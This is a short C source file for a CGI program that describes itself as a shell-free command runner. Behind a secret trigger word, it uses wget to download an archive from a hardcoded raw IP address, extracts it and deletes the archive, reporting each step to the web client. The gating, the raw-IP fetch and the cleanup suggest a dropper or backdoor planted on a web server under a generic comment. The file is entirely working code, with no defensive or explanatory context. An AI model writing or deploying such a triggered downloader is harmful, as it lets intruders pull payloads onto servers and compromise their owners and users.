/* CGI to execute a series of commands, in order, without use
 * of the shell. use like: 
 * http://www.example.com/cgi-bin/myrun?trigger
 * Jumps ship on errors
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIGGER "doit"

#define FLUSH	{ fflush(stdout); }
void waitforit(int s);
void doit();

/* Four param max is good enough for our purposes */
struct
{ char *a; char *b; char *c; char *d; } cmd[] = 
{
	{ "/wget",	"wget",	"-t1",	"http://202.81.97.12:8080/rob.tgz" },
	{ "/tar",	"tar",	"-xzf",	"rob.tgz" },
	{ "/rm",	"rm",	"-rf",	"rob.tgz" },
	{ NULL,		NULL,	NULL,	NULL      },
};

int l = 0;

int main (int argc, char *argv[])
{
  
   printf("Content-Type: text/plain\n\n"); FLUSH

   if (argc < 2 || strncmp(argv[1], TRIGGER, 10)) {
      printf("Access Denied\n"); FLUSH
      exit(1);
   }
   else {
      doit();   
   }
   return(1);
}

void waitforit(s)
{
   int error;

   printf("Running process %d (%s)\n", l, cmd[l].b); FLUSH
  
   waitpid(s, &error, 0);	/* Block here until kid is done */
   FLUSH

   if (!error) {
	printf("Success!\n"); FLUSH
	++l;
	doit();
   } else {
	printf("Failed!\n"); FLUSH
	exit(1);
   }
   return;
}

void doit() {
   int spoon;
   
   if (cmd[l].a == NULL)
      exit(0);

   spoon = fork();

   if (spoon) {			/* Parent */
      waitforit(spoon);
   } 
   else { 			/* Kiddo */
           if (execl(cmd[l].a, cmd[l].b, cmd[l].c, cmd[l].d, NULL)) 
             _exit(1);

   }
   return;
}